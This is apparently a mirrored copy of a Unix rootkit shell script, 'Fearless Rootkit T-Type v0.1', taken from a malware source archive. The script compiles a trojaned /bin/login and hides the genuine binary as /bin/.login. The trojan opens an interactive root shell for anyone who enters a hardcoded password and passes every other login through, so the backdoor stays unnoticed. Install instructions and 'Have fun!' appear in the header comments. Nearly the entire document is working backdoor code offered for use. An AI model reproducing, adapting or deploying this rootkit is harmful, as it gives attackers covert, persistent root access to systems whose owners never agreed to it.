mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-29 22:45:27 +00:00
86 lines
1.9 KiB
Plaintext
86 lines
1.9 KiB
Plaintext
|
#!/bin/sh
|
||
|
|
|
||
|
|
# Fearless Rootkit T-Type v0.1
|
||
|
|
# Coded by Merlion merld_one@yahoo.com
|
||
|
|
# To run:
|
||
|
|
# chmod 755 droprk.sh
|
||
|
|
# ./droprk.sh
|
||
|
|
# Telnet to login daemon (port 513) and enter password
|
||
|
|
# Have fun!
|
||
|
|
|
||
|
|
arg="$1"
|
||
|
|
if [ "$arg" = "" ]; then
|
||
|
|
echo "Usage is: ./droprk -i (to install) -r (to uninstall)"
|
||
|
|
exit 1
|
||
|
|
elif [ "$arg" = "-r" ]; then
|
||
|
|
test -e /bin/.login && rm -f /bin/login; mv /bin/.login /bin/login; exit 0 || echo "Not installed"
|
||
|
|
elif [ $arg = "-i" ]; then
|
||
|
|
|
||
|
|
cat > /tmp/drop.c << EOF
|
||
|
|
|
||
|
|
#include <stdio.h>
|
||
|
|
#include <string.h>
|
||
|
|
#include <signal.h>
|
||
|
|
#include <unistd.h>
|
||
|
|
#include <fcntl.h> /* For daemon related functions */
|
||
|
|
|
||
|
|
#define REAL "/bin/.login"
|
||
|
|
#define TROJAN "/bin/login"
|
||
|
|
#define ROOT "merlion"
|
||
|
|
|
||
|
|
char **execute;
|
||
|
|
char passwd[8];
|
||
|
|
|
||
|
|
main(int argc, char **argv) {
|
||
|
|
|
||
|
|
void die(char *error);
|
||
|
|
void connection();
|
||
|
|
|
||
|
|
pid_t pid, sid; /* Daemon variables */
|
||
|
|
|
||
|
|
signal(SIGALRM,connection);
|
||
|
|
alarm(1);
|
||
|
|
execute=argv;
|
||
|
|
*execute=TROJAN;
|
||
|
|
|
||
|
|
if ((pid=fork()) < 0) die("Error on fork()"); /* Start daemon process */
|
||
|
|
if (pid > 0) exit(0); /* Exit parent process */
|
||
|
|
if ((sid=setsid()) < 0) die("Error on setsid()"); /* Create new session */
|
||
|
|
if ((chdir("/") < 0)) die("Error on chdir()"); /* Set working directory */
|
||
|
|
umask(0); /* Set umask to 0 to avoid unwanted rights inheritance */
|
||
|
|
close(STDIN_FILENO); /* Close */
|
||
|
|
close(STDOUT_FILENO); /* associated */
|
||
|
|
close(STDERR_FILENO); /* file streams */
|
||
|
|
/* On our own now */
|
||
|
|
|
||
|
|
scanf("%s", passwd);
|
||
|
|
if (strcmp(passwd,ROOT) == 0) {
|
||
|
|
alarm(0);
|
||
|
|
execl("/bin/sh","/bin/sh","-i",0);
|
||
|
|
exit(0); } /* Remove?? */
|
||
|
|
else {
|
||
|
|
execv(REAL,execute);
|
||
|
|
exit(0); } /* Remove?? */
|
||
|
|
}
|
||
|
|
|
||
|
|
void connection() {
|
||
|
|
execv(REAL,execute);
|
||
|
|
exit(0); }
|
||
|
|
|
||
|
|
void die(char *error) {
|
||
|
|
perror(error);
|
||
|
|
exit(1); }
|
||
|
|
|
||
|
|
EOF
|
||
|
|
|
||
|
|
fi
|
||
|
|
|
||
|
|
gcc -o /tmp/login /tmp/drop.c
|
||
|
|
rm -f /tmp/drop.c
|
||
|
|
mv /bin/login /bin/.login
|
||
|
|
mv /tmp/login /bin/
|
||
|
|
|
||
|
|
exit 0
|
||
|
|
|
||
|
|
|